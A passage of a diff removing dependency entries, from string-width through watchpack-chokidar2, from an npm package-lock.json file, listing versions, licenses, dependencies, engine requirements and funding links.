- "readable-stream": "^2.3.6",
- "to-arraybuffer": "^1.0.0",
- "xtend": "^4.0.0"
- }
- },
- "node_modules/stream-shift": {
- "version": "1.0.3",
- "license": "MIT",
- "peer": true
- },
- "node_modules/streamsearch": {
- "version": "1.1.0",
- "engines": {
- "node": ">=10.0.0"
- }
- },
- "node_modules/string_decoder": {
- "version": "1.3.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "safe-buffer": "~5.2.0"
- }
- },
- "node_modules/string-argv": {
- "version": "0.3.2",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=0.6.19"
- }
- },
- "node_modules/string-convert": {
- "version": "0.2.1",
- "license": "MIT"
- },
- "node_modules/string-width": {
- "version": "5.1.2",
- "license": "MIT",
- "dependencies": {
- "eastasianwidth": "^0.2.0",
- "emoji-regex": "^9.2.2",
- "strip-ansi": "^7.0.1"
- },
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/string-width-cjs": {
- "name": "string-width",
- "version": "4.2.3",
- "license": "MIT",
- "dependencies": {
- "emoji-regex": "^8.0.0",
- "is-fullwidth-code-point": "^3.0.0",
- "strip-ansi": "^6.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/string-width-cjs/node_modules/ansi-regex": {
- "version": "5.0.1",
- "license": "MIT",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/string-width-cjs/node_modules/emoji-regex": {
- "version": "8.0.0",
- "license": "MIT"
- },
- "node_modules/string-width-cjs/node_modules/strip-ansi": {
- "version": "6.0.1",
- "license": "MIT",
- "dependencies": {
- "ansi-regex": "^5.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/string.prototype.matchall": {
- "version": "4.0.11",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.23.2",
- "es-errors": "^1.3.0",
- "es-object-atoms": "^1.0.0",
- "get-intrinsic": "^1.2.4",
- "gopd": "^1.0.1",
- "has-symbols": "^1.0.3",
- "internal-slot": "^1.0.7",
- "regexp.prototype.flags": "^1.5.2",
- "set-function-name": "^2.0.2",
- "side-channel": "^1.0.6"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/string.prototype.repeat": {
- "version": "1.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "define-properties": "^1.1.3",
- "es-abstract": "^1.17.5"
- }
- },
- "node_modules/string.prototype.trim": {
- "version": "1.2.9",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.23.0",
- "es-object-atoms": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/string.prototype.trimend": {
- "version": "1.0.8",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-object-atoms": "^1.0.0"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/string.prototype.trimstart": {
- "version": "1.0.8",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-object-atoms": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/strip-ansi": {
- "version": "7.1.0",
- "license": "MIT",
- "dependencies": {
- "ansi-regex": "^6.0.1"
- },
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/strip-ansi?sponsor=1"
- }
- },
- "node_modules/strip-ansi-cjs": {
- "name": "strip-ansi",
- "version": "6.0.1",
- "license": "MIT",
- "dependencies": {
- "ansi-regex": "^5.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/strip-ansi-cjs/node_modules/ansi-regex": {
- "version": "5.0.1",
- "license": "MIT",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/strip-final-newline": {
- "version": "3.0.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/strip-json-comments": {
- "version": "3.1.1",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/strip-outer": {
- "version": "1.0.1",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "escape-string-regexp": "^1.0.2"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/styled-jsx": {
- "version": "5.1.1",
- "license": "MIT",
- "dependencies": {
- "client-only": "0.0.1"
- },
- "engines": {
- "node": ">= 12.0.0"
- },
- "peerDependencies": {
- "react": ">= 16.8.0 || 17.x.x || ^18.0.0-0"
- },
- "peerDependenciesMeta": {
- "@babel/core": {
- "optional": true
- },
- "babel-plugin-macros": {
- "optional": true
- }
- }
- },
- "node_modules/stylis": {
- "version": "4.2.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/sucrase": {
- "version": "3.35.0",
- "license": "MIT",
- "dependencies": {
- "@jridgewell/gen-mapping": "^0.3.2",
- "commander": "^4.0.0",
- "glob": "^10.3.10",
- "lines-and-columns": "^1.1.6",
- "mz": "^2.7.0",
- "pirates": "^4.0.1",
- "ts-interface-checker": "^0.1.9"
- },
- "bin": {
- "sucrase": "bin/sucrase",
- "sucrase-node": "bin/sucrase-node"
- },
- "engines": {
- "node": ">=16 || 14 >=14.17"
- }
- },
- "node_modules/sucrase/node_modules/brace-expansion": {
- "version": "2.0.1",
- "license": "MIT",
- "dependencies": {
- "balanced-match": "^1.0.0"
- }
- },
- "node_modules/sucrase/node_modules/commander": {
- "version": "4.1.1",
- "license": "MIT",
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/sucrase/node_modules/glob": {
- "version": "10.4.2",
- "license": "ISC",
- "dependencies": {
- "foreground-child": "^3.1.0",
- "jackspeak": "^3.1.2",
- "minimatch": "^9.0.4",
- "minipass": "^7.1.2",
- "package-json-from-dist": "^1.0.0",
- "path-scurry": "^1.11.1"
- },
- "bin": {
- "glob": "dist/esm/bin.mjs"
- },
- "engines": {
- "node": ">=16 || 14 >=14.18"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/sucrase/node_modules/minimatch": {
- "version": "9.0.5",
- "license": "ISC",
- "dependencies": {
- "brace-expansion": "^2.0.1"
- },
- "engines": {
- "node": ">=16 || 14 >=14.17"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/supports-color": {
- "version": "5.5.0",
- "license": "MIT",
- "dependencies": {
- "has-flag": "^3.0.0"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/supports-preserve-symlinks-flag": {
- "version": "1.0.0",
- "license": "MIT",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/symbol-tree": {
- "version": "3.2.4",
- "license": "MIT"
- },
- "node_modules/synckit": {
- "version": "0.9.1",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@pkgr/core": "^0.1.0",
- "tslib": "^2.6.2"
- },
- "engines": {
- "node": "^14.18.0 || >=16.0.0"
- },
- "funding": {
- "url": "https://opencollective.com/unts"
- }
- },
- "node_modules/tailwind-merge": {
- "version": "2.5.3",
- "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-2.5.3.tgz",
- "integrity": "sha512-d9ZolCAIzom1nf/5p4LdD5zvjmgSxY0BGgdSvmXIoMYAiPdAW/dSpP7joCDYFY7r/HkEa2qmPtkgsu0xjQeQtw==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/dcastil"
- }
- },
- "node_modules/tailwind-variants": {
- "version": "0.1.20",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "tailwind-merge": "^1.14.0"
- },
- "engines": {
- "node": ">=16.x",
- "pnpm": ">=7.x"
- },
- "peerDependencies": {
- "tailwindcss": "*"
- }
- },
- "node_modules/tailwind-variants/node_modules/tailwind-merge": {
- "version": "1.14.0",
- "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-1.14.0.tgz",
- "integrity": "sha512-3mFKyCo/MBcgyOTlrY8T7odzZFx+w+qKSMAmdFzRvqBfLlSigU6TZnlFHK0lkMwj9Bj8OYU+9yW9lmGuS0QEnQ==",
- "peer": true,
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/dcastil"
- }
- },
- "node_modules/tailwindcss": {
- "version": "3.4.10",
- "license": "MIT",
- "dependencies": {
- "@alloc/quick-lru": "^5.2.0",
- "arg": "^5.0.2",
- "chokidar": "^3.5.3",
- "didyoumean": "^1.2.2",
- "dlv": "^1.1.3",
- "fast-glob": "^3.3.0",
- "glob-parent": "^6.0.2",
- "is-glob": "^4.0.3",
- "jiti": "^1.21.0",
- "lilconfig": "^2.1.0",
- "micromatch": "^4.0.5",
- "normalize-path": "^3.0.0",
- "object-hash": "^3.0.0",
- "picocolors": "^1.0.0",
- "postcss": "^8.4.23",
- "postcss-import": "^15.1.0",
- "postcss-js": "^4.0.1",
- "postcss-load-config": "^4.0.1",
- "postcss-nested": "^6.0.1",
- "postcss-selector-parser": "^6.0.11",
- "resolve": "^1.22.2",
- "sucrase": "^3.32.0"
- },
- "bin": {
- "tailwind": "lib/cli.js",
- "tailwindcss": "lib/cli.js"
- },
- "engines": {
- "node": ">=14.0.0"
- }
- },
- "node_modules/tailwindcss-animate": {
- "version": "1.0.7",
- "resolved": "https://registry.npmjs.org/tailwindcss-animate/-/tailwindcss-animate-1.0.7.tgz",
- "integrity": "sha512-bl6mpH3T7I3UFxuvDEXLxy/VuFxBk5bbzplh7tXI68mwMokNYd1t9qPBHlnyTwfa4JGC4zP516I1hYYtQ/vspA==",
- "peerDependencies": {
- "tailwindcss": ">=3.0.0 || insiders"
- }
- },
- "node_modules/tapable": {
- "version": "1.1.3",
- "license": "MIT",
- "peer": true,
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/terser": {
- "version": "4.8.1",
- "license": "BSD-2-Clause",
- "peer": true,
- "dependencies": {
- "commander": "^2.20.0",
- "source-map": "~0.6.1",
- "source-map-support": "~0.5.12"
- },
- "bin": {
- "terser": "bin/terser"
- },
- "engines": {
- "node": ">=6.0.0"
- }
- },
- "node_modules/terser-webpack-plugin": {
- "version": "1.4.6",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "cacache": "^12.0.2",
- "find-cache-dir": "^2.1.0",
- "is-wsl": "^1.1.0",
- "schema-utils": "^1.0.0",
- "serialize-javascript": "^4.0.0",
- "source-map": "^0.6.1",
- "terser": "^4.1.2",
- "webpack-sources": "^1.4.0",
- "worker-farm": "^1.7.0"
- },
- "engines": {
- "node": ">= 6.9.0"
- },
- "peerDependencies": {
- "webpack": "^4.0.0"
- }
- },
- "node_modules/terser-webpack-plugin/node_modules/find-cache-dir": {
- "version": "2.1.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "commondir": "^1.0.1",
- "make-dir": "^2.0.0",
- "pkg-dir": "^3.0.0"
- },
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/terser-webpack-plugin/node_modules/find-up": {
- "version": "3.0.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "locate-path": "^3.0.0"
- },
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/terser-webpack-plugin/node_modules/locate-path": {
- "version": "3.0.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "p-locate": "^3.0.0",
- "path-exists": "^3.0.0"
- },
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/terser-webpack-plugin/node_modules/make-dir": {
- "version": "2.1.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "pify": "^4.0.1",
- "semver": "^5.6.0"
- },
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/terser-webpack-plugin/node_modules/p-locate": {
- "version": "3.0.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "p-limit": "^2.0.0"
- },
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/terser-webpack-plugin/node_modules/path-exists": {
- "version": "3.0.0",
- "license": "MIT",
- "peer": true,
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/terser-webpack-plugin/node_modules/pify": {
- "version": "4.0.1",
- "license": "MIT",
- "peer": true,
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/terser-webpack-plugin/node_modules/pkg-dir": {
- "version": "3.0.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "find-up": "^3.0.0"
- },
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/terser-webpack-plugin/node_modules/semver": {
- "version": "5.7.2",
- "license": "ISC",
- "peer": true,
- "bin": {
- "semver": "bin/semver"
- }
- },
- "node_modules/terser-webpack-plugin/node_modules/source-map": {
- "version": "0.6.1",
- "license": "BSD-3-Clause",
- "peer": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/terser/node_modules/commander": {
- "version": "2.20.3",
- "license": "MIT",
- "peer": true
- },
- "node_modules/terser/node_modules/source-map": {
- "version": "0.6.1",
- "license": "BSD-3-Clause",
- "peer": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/text-table": {
- "version": "0.2.0",
- "dev": true,
- "license": "MIT"
- },
- "node_modules/thenify": {
- "version": "3.3.1",
- "license": "MIT",
- "dependencies": {
- "any-promise": "^1.0.0"
- }
- },
- "node_modules/thenify-all": {
- "version": "1.6.0",
- "license": "MIT",
- "dependencies": {
- "thenify": ">= 3.1.0 < 4"
- },
- "engines": {
- "node": ">=0.8"
- }
- },
- "node_modules/through2": {
- "version": "2.0.5",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "readable-stream": "~2.3.6",
- "xtend": "~4.0.1"
- }
- },
- "node_modules/timers-browserify": {
- "version": "2.0.12",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "setimmediate": "^1.0.4"
- },
- "engines": {
- "node": ">=0.6.0"
- }
- },
- "node_modules/tiny-invariant": {
- "version": "1.3.3",
- "license": "MIT"
- },
- "node_modules/to-arraybuffer": {
- "version": "1.0.1",
- "license": "MIT",
- "peer": true
- },
- "node_modules/to-fast-properties": {
- "version": "2.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/to-object-path": {
- "version": "0.3.0",
- "license": "MIT",
- "dependencies": {
- "kind-of": "^3.0.2"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/to-object-path/node_modules/kind-of": {
- "version": "3.2.2",
- "license": "MIT",
- "dependencies": {
- "is-buffer": "^1.1.5"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/to-regex": {
- "version": "3.0.2",
- "license": "MIT",
- "dependencies": {
- "define-property": "^2.0.2",
- "extend-shallow": "^3.0.2",
- "regex-not": "^1.0.2",
- "safe-regex": "^1.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/to-regex-range": {
- "version": "5.0.1",
- "license": "MIT",
- "dependencies": {
- "is-number": "^7.0.0"
- },
- "engines": {
- "node": ">=8.0"
- }
- },
- "node_modules/toggle-selection": {
- "version": "1.0.6",
- "license": "MIT"
- },
- "node_modules/tough-cookie": {
- "version": "4.1.4",
- "license": "BSD-3-Clause",
- "dependencies": {
- "psl": "^1.1.33",
- "punycode": "^2.1.1",
- "universalify": "^0.2.0",
- "url-parse": "^1.5.3"
- },
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/tough-cookie/node_modules/universalify": {
- "version": "0.2.0",
- "license": "MIT",
- "engines": {
- "node": ">= 4.0.0"
- }
- },
- "node_modules/tr46": {
- "version": "3.0.0",
- "license": "MIT",
- "dependencies": {
- "punycode": "^2.1.1"
- },
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/trim-repeated": {
- "version": "1.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "escape-string-regexp": "^1.0.2"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/ts-interface-checker": {
- "version": "0.1.13",
- "license": "Apache-2.0"
- },
- "node_modules/tslib": {
- "version": "2.6.2",
- "license": "0BSD"
- },
- "node_modules/tty-browserify": {
- "version": "0.0.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/type-check": {
- "version": "0.4.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "prelude-ls": "^1.2.1"
- },
- "engines": {
- "node": ">= 0.8.0"
- }
- },
- "node_modules/type-detect": {
- "version": "4.0.8",
- "license": "MIT",
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/typed-array-buffer": {
- "version": "1.0.2",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7",
- "es-errors": "^1.3.0",
- "is-typed-array": "^1.1.13"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/typed-array-byte-length": {
- "version": "1.0.1",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7",
- "for-each": "^0.3.3",
- "gopd": "^1.0.1",
- "has-proto": "^1.0.3",
- "is-typed-array": "^1.1.13"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/typed-array-byte-offset": {
- "version": "1.0.2",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "available-typed-arrays": "^1.0.7",
- "call-bind": "^1.0.7",
- "for-each": "^0.3.3",
- "gopd": "^1.0.1",
- "has-proto": "^1.0.3",
- "is-typed-array": "^1.1.13"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/typed-array-length": {
- "version": "1.0.6",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7",
- "for-each": "^0.3.3",
- "gopd": "^1.0.1",
- "has-proto": "^1.0.3",
- "is-typed-array": "^1.1.13",
- "possible-typed-array-names": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/typedarray": {
- "version": "0.0.6",
- "license": "MIT",
- "peer": true
- },
- "node_modules/unbox-primitive": {
- "version": "1.0.2",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.2",
- "has-bigints": "^1.0.2",
- "has-symbols": "^1.0.3",
- "which-boxed-primitive": "^1.0.2"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/undici": {
- "version": "5.28.4",
- "resolved": "https://registry.npmjs.org/undici/-/undici-5.28.4.tgz",
- "integrity": "sha512-72RFADWFqKmUb2hmmvNODKL3p9hcB6Gt2DOQMis1SEBaV6a4MH8soBvzg+95CYhCKPFedut2JY9bMfrDl9D23g==",
- "dependencies": {
- "@fastify/busboy": "^2.0.0"
- },
- "engines": {
- "node": ">=14.0"
- }
- },
- "node_modules/undici-types": {
- "version": "6.19.8",
- "license": "MIT"
- },
- "node_modules/union-value": {
- "version": "1.0.1",
- "license": "MIT",
- "dependencies": {
- "arr-union": "^3.1.0",
- "get-value": "^2.0.6",
- "is-extendable": "^0.1.1",
- "set-value": "^2.0.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/union-value/node_modules/is-extendable": {
- "version": "0.1.1",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/unique-filename": {
- "version": "1.1.1",
- "license": "ISC",
- "peer": true,
- "dependencies": {
- "unique-slug": "^2.0.0"
- }
- },
- "node_modules/unique-slug": {
- "version": "2.0.2",
- "license": "ISC",
- "peer": true,
- "dependencies": {
- "imurmurhash": "^0.1.4"
- }
- },
- "node_modules/universalify": {
- "version": "2.0.1",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">= 10.0.0"
- }
- },
- "node_modules/unset-value": {
- "version": "1.0.0",
- "license": "MIT",
- "dependencies": {
- "has-value": "^0.3.1",
- "isobject": "^3.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/unset-value/node_modules/has-value": {
- "version": "0.3.1",
- "license": "MIT",
- "dependencies": {
- "get-value": "^2.0.3",
- "has-values": "^0.1.4",
- "isobject": "^2.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/unset-value/node_modules/has-value/node_modules/isobject": {
- "version": "2.1.0",
- "license": "MIT",
- "dependencies": {
- "isarray": "1.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/unset-value/node_modules/has-values": {
- "version": "0.1.4",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/upath": {
- "version": "1.2.0",
- "license": "MIT",
- "optional": true,
- "peer": true,
- "engines": {
- "node": ">=4",
- "yarn": "*"
- }
- },
- "node_modules/update-browserslist-db": {
- "version": "1.1.0",
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/browserslist"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/browserslist"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "license": "MIT",
- "dependencies": {
- "escalade": "^3.1.2",
- "picocolors": "^1.0.1"
- },
- "bin": {
- "update-browserslist-db": "cli.js"
- },
- "peerDependencies": {
- "browserslist": ">= 4.21.0"
- }
- },
- "node_modules/uri-js": {
- "version": "4.4.1",
- "license": "BSD-2-Clause",
- "dependencies": {
- "punycode": "^2.1.0"
- }
- },
- "node_modules/urix": {
- "version": "0.1.0",
- "license": "MIT"
- },
- "node_modules/url": {
- "version": "0.11.3",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "punycode": "^1.4.1",
- "qs": "^6.11.2"
- }
- },
- "node_modules/url-loader": {
- "version": "1.1.2",
- "license": "MIT",
- "dependencies": {
- "loader-utils": "^1.1.0",
- "mime": "^2.0.3",
- "schema-utils": "^1.0.0"
- },
- "engines": {
- "node": ">= 6.9.0"
- },
- "peerDependencies": {
- "webpack": "^3.0.0 || ^4.0.0"
- }
- },
- "node_modules/url-parse": {
- "version": "1.5.10",
- "license": "MIT",
- "dependencies": {
- "querystringify": "^2.1.1",
- "requires-port": "^1.0.0"
- }
- },
- "node_modules/url/node_modules/punycode": {
- "version": "1.4.1",
- "license": "MIT",
- "peer": true
- },
- "node_modules/use": {
- "version": "3.1.1",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/use-callback-ref": {
- "version": "1.3.2",
- "license": "MIT",
- "dependencies": {
- "tslib": "^2.0.0"
- },
- "engines": {
- "node": ">=10"
- },
- "peerDependencies": {
- "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0",
- "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/use-sidecar": {
- "version": "1.1.2",
- "license": "MIT",
- "dependencies": {
- "detect-node-es": "^1.1.0",
- "tslib": "^2.0.0"
- },
- "engines": {
- "node": ">=10"
- },
- "peerDependencies": {
- "@types/react": "^16.9.0 || ^17.0.0 || ^18.0.0",
- "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/util": {
- "version": "0.11.1",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "inherits": "2.0.3"
- }
- },
- "node_modules/util-deprecate": {
- "version": "1.0.2",
- "license": "MIT"
- },
- "node_modules/util/node_modules/inherits": {
- "version": "2.0.3",
- "license": "ISC",
- "peer": true
- },
- "node_modules/vm-browserify": {
- "version": "1.1.2",
- "license": "MIT",
- "peer": true
- },
- "node_modules/w3c-xmlserializer": {
- "version": "4.0.0",
- "license": "MIT",
- "dependencies": {
- "xml-name-validator": "^4.0.0"
- },
- "engines": {
- "node": ">=14"
- }
- },
- "node_modules/watchpack": {
- "version": "1.7.5",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "graceful-fs": "^4.1.2",
- "neo-async": "^2.5.0"
- },
- "optionalDependencies": {
- "chokidar": "^3.4.1",
- "watchpack-chokidar2": "^2.0.1"
- }
- },
- "node_modules/watchpack-chokidar2": {
- "version": "2.0.1",
- "license": "MIT",
- "optional": true,
- "peer": true,
- "dependencies": {
- "chokidar": "^2.1.8"
- }
- },
- "node_modules/watchpack-chokidar2/node_modules/anymatch": {
- "version": "2.0.0",
- "license": "ISC",
- "optional": true,
- "peer": true,
- "dependencies": {
- "micromatch": "^3.1.4",
- "normalize-path": "^2.1.1"
- }
- },
- "node_modules/watchpack-chokidar2/node_modules/anymatch/node_modules/normalize-path": {
- "version": "2.1.1",
- "license": "MIT",
- "optional": true,
- "peer": true,
- "dependencies": {
- "remove-trailing-separator": "^1.0.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/watchpack-chokidar2/node_modules/binary-extensions": {
- "version": "1.13.1",
- "license": "MIT",
- "optional": true,
- "peer": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/watchpack-chokidar2/node_modules/braces": {
- "version": "2.3.2",
- "license": "MIT",
- "optional": true,
- "peer": true,
- "dependencies": {
- "arr-flatten": "^1.1.0",
- "array-unique": "^0.3.2",
- "extend-shallow": "^2.0.1",
- "fill-range": "^4.0.0",
- "isobject": "^3.0.1",
- "repeat-element": "^1.1.2",
- "snapdragon": "^0.8.1",
- "snapdragon-node": "^2.0.1",
- "split-string": "^3.0.2",
- "to-regex": "^3.0.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/watchpack-chokidar2/node_modules/braces/node_modules/extend-shallow": {
- "version": "2.0.1",
- "license": "MIT",
- "optional": true,
- "peer": true,
- "dependencies": {
- "is-extendable": "^0.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/watchpack-chokidar2/node_modules/chokidar": {
- "version": "2.1.8",
- "license": "MIT",
- "optional": true,
- "peer": true,
- "dependencies": {
- "anymatch": "^2.0.0",
- "async-each": "^1.0.1",
- "braces": "^2.3.2",
- "glob-parent": "^3.1.0",
- "inherits": "^2.0.3",
- "is-binary-path": "^1.0.0",
- "is-glob": "^4.0.0",
- "normalize-path": "^3.0.0",
- "path-is-absolute": "^1.0.0",
- "readdirp": "^2.2.1",
- "upath": "^1.1.1"
- },
- "optionalDependencies": {
- "fsevents": "^1.2.7"
- }
- },
- "node_modules/watchpack-chokidar2/node_modules/fill-range": {
- "version": "4.0.0",
- "license": "MIT",
- "optional": true,
- "peer": true,
- "dependencies": {
- "extend-shallow": "^2.0.1",
- "is-number": "^3.0.0",
- "repeat-string": "^1.6.1",
- "to-regex-range": "^2.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/watchpack-chokidar2/node_modules/fill-range/node_modules/extend-shallow": {
- "version": "2.0.1",
- "license": "MIT",
- "optional": true,
- "peer": true,
- "dependencies": {
- "is-extendable": "^0.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/watchpack-chokidar2/node_modules/glob-parent": {
- "version": "3.1.0",
- "license": "ISC",
- "optional": true,
- "peer": true,
- "dependencies": {
- "is-glob": "^3.1.0",
- "path-dirname": "^1.0.0"
- }
- },
- "node_modules/watchpack-chokidar2/node_modules/glob-parent/node_modules/is-glob": {
- "version": "3.1.0",
- "license": "MIT",
- "optional": true,
- "peer": true,
- "dependencies": {
- "is-extglob": "^2.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/watchpack-chokidar2/node_modules/is-binary-path": {
- "version": "1.0.1",
- "license": "MIT",
- "optional": true,
- "peer": true,
- "dependencies": {
- "binary-extensions": "^1.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/watchpack-chokidar2/node_modules/is-extendable": {
- "version": "0.1.1",
- "license": "MIT",
- "optional": true,
- "peer": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/watchpack-chokidar2/node_modules/is-number": {
- "version": "3.0.0",
- "license": "MIT",
- "optional": true,
- "peer": true,
- "dependencies": {
- "kind-of": "^3.0.2"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/watchpack-chokidar2/node_modules/is-number/node_modules/kind-of": {
- "version": "3.2.2",
- "license": "MIT",
- "optional": true,
- "peer": true,
- "dependencies": {
- "is-buffer": "^1.1.5"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/watchpack-chokidar2/node_modules/micromatch": {
- "version": "3.1.10",
- "license": "MIT",
- "optional": true,
- "peer": true,
- "dependencies": {
- "arr-diff": "^4.0.0",
- "array-unique": "^0.3.2",
- "braces": "^2.3.1",
- "define-property": "^2.0.2",
- "extend-shallow": "^3.0.2",
- "extglob": "^2.0.4",
- "fragment-cache": "^0.2.1",
- "kind-of": "^6.0.2",
- "nanomatch": "^1.2.9",
- "object.pick": "^1.3.0",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.2"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/watchpack-chokidar2/node_modules/readdirp": {
- "version": "2.2.1",
